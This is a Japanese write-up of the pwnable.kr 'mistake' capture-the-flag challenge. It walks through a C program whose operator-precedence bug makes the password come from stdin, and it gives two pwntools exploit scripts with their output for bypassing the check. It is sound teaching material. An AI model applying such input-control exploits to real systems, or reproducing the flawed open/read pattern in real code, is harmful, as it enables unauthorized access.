Pwnable.kr 「mistake (Toddler's Bottle)」Writeup
演算子の優先順位に起因するファイルディスクリプタのバグを利用する問題
pwnable_kr-mistake
Summary
本問は,演算子の優先順位に起因するファイルディスクリプタのバグを利用する問題です.
- Category: Pwn
- Description: We all make mistakes, let’s move on.
- (don’t take this too seriously, no fancy hacking skill is required at all)
- This task is based on real event
- Tools & TechStack:
- C
- Release:
N/A
階層構造
1
2
3
4
5
6
7
8
9
10
.
├── Dockerfile
├── flag
├── mistake
├── mistake.c
├── password
├── readme
└── run.sh
1 directory, 7 files
ソースコードの解析
ソースコードを読むと,2つの実装ミスが見つかりました. 1つ目は fd,2つ目は len に関してですが,len に関してはその後に参照されている部分がないため,攻略に関係ないものと考えました.
mistake.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char *s, int len)
{
int i;
for (i = 0; i < len; i++)
{
s[i] ^= XORKEY;
}
}
int main(int argc, char *argv[])
{
int fd;
// 正常に開けた場合は3以上がfdに割り当てられるが,返り値 < 0 となりfd = 0
if (fd = open("/home/mistake/password", O_RDONLY, 0400) < 0)
{
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0) % 20);
char pw_buf[PW_LEN + 1];
int len;
// 読み込むことのできたバイト数は比較演算子で潰され,len には 1/0 を反転した値が入る
// NULL終端は付かない
if (!(len = read(fd, pw_buf, PW_LEN) > 0))
{
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN + 1];
printf("input password : ");
// NULL終端が付く
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if (!strncmp(pw_buf, pw_buf2, PW_LEN))
{
printf("Password OK\n");
setregid(getegid(), getegid());
system("/bin/cat flag\n");
}
else
{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
比較演算子の優先順位に起因する fd のバグと pw_buf[] の攻撃者制御
普通であれば password ファイルが正常に開けた場合は fd に 3 以上が入るように実装されるはずです. しかし,この実装では fd が必ず 0 (stdin) になるバグが存在します.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main(int argc, char *argv[])
{
int fd;
// 正常に開けた場合は3以上がfdに割り当てられるが,返り値 < 0 となりfd = 0
if (fd = open("/home/mistake/password", O_RDONLY, 0400) < 0)
{
printf("can't open password %d\n", fd);
return 0;
}
//...
char pw_buf[PW_LEN + 1];
int len;
// 読み込むことのできたバイト数は比較演算子で潰され,len には 1/0 を反転した値が入る
if (!(len = read(fd, pw_buf, PW_LEN) > 0))
{
printf("read error\n");
close(fd);
return 0;
}
//...
}
C言語では,= 代入演算子よりも < 比較演算子の方が優先順位が上です.1 そのため,fd = open("...", ..., ...) < 0 は open() の返り値の FDが 0 より小さい 場合の真偽値 (1/0) を fd に代入する式になっています.
- FDが3のとき:
fd = (3 < 0)となりfd = 0
結果として後の read() でファイルからデータが読み取られず,攻撃者が制御可能な標準入力 (FD0) から pw_buf[] にデータを送り込むことができます.(pw_buf[] の制御が可能)
Exploit を書く
10byteペイロード
strncmp() で比較される両配列ともに,サイズは [PW_LEN + 1] ですが strncmp() は PW_LEN までしか比較しません. また,pw_buf2[] への値は #define XORKEY 1 とXORされることを考える必要があります.
pw_buf[]:A(ASCIIコードで65) を 10byte 送信pw_buf2[]:@(64) を 10byte 送信 (XORでLSBが反転するため,比較時にはAに戻る)
sleep(time(0) % 20); があるため,timeout は長めに設定しています.
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
p = remote("pwnable.kr", 10008)
# read()
p.send(b'A' * 10)
# scanf() は \n が必要
p.sendline(b'@' * 10)
print(p.recvall(timeout=25))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ exploit.py
[+] Opening connection to pwnable.kr on port 10008: Done
[DEBUG] Sent 0xa bytes:
b'A' * 0xa
[DEBUG] Sent 0xb bytes:
b'@@@@@@@@@@\n'
[+] Receiving all data: Done (93B)
[DEBUG] Received 0x16 bytes:
b'do not bruteforce...\r\n'
[DEBUG] Received 0x1e bytes:
b'input password : Password OK\r\n'
[DEBUG] Received 0x29 bytes:
b'<REDACTED>\r\n'
[*] Closed connection to pwnable.kr port 10008
b'do not bruteforce...\r\ninput password : Password OK\r\n<REDACTED>\r\n'
別解: NULL終端文字 を利用し,10byte以下でバイパスする
別解というほどのものでもない気がしますが,10byteペイロードを使用しなくても解くことができます.
このペイロードでは,strncmp() にNULL終端を送ることで,以降に存在するゴミデータが無視され,\x00 == \x00 (\x00 ^ 1) となるため,同様にpwnできます.
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
p = remote("pwnable.kr", 10008)
# \n でバッファを分ける
p.sendline(b"\x00")
# strncmp は先頭NULL終端文字で停止するので残り9バイトのゴミは無関係
# \x01 ^ 1 = \x00
p.sendline(b"\x01")
print(p.recvall(timeout=25))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ python3 exploit.py
[+] Opening connection to pwnable.kr on port 10008: Done
[DEBUG] Sent 0x2 bytes:
00000000 00 0a │··│
00000002
[DEBUG] Sent 0x2 bytes:
00000000 01 0a │··│
00000002
[+] Receiving all data: Done (93B)
[DEBUG] Received 0x16 bytes:
b'do not bruteforce...\r\n'
[DEBUG] Received 0x1e bytes:
b'input password : Password OK\r\n'
[DEBUG] Received 0x29 bytes:
b'<REDACTED>\r\n'
[*] Closed connection to pwnable.kr port 10008
b'do not bruteforce...\r\ninput password : Password OK\r\n<REDACTED>\r\n'
このペイロードの場合は read() に対して send() ではなく,末尾に改行が追加される sendline() を使用する必要があります.
sendline() を使用する理由
Dockerfile
1
2
3
#...
CMD ["socat", "TCP-LISTEN:10008,reuseaddr,fork", "EXEC:/usr/bin/timeout -k 5 300 /home/mistake/mistake,pty,stderr,echo=0"]
#...
socat の pty は擬似端末を割り当てますが,raw/rawer を付けない限り termios は デフォルトの ICANON のまま です. そのため,プログラムの標準入力は 行バッファリングされた pty です.
ICANON モードにおける1回の read() の挙動は,次のルールで決まります.
改行を受け取った時点,または 要求バイト数に達した時点 の 早い方 で返ります. また,1回の
read()は複数行をまたぎません (最初の行の改行で区切られる).
そのため,sendline() で改行を送りバッファを分けることが必要です.
Post-Mortem & Dead ends
1つ目の解法ですぐ解けたけど,2つ目の解法の根拠を調べるのに時間かかった… バッファリング・同期関連で詰まった :(
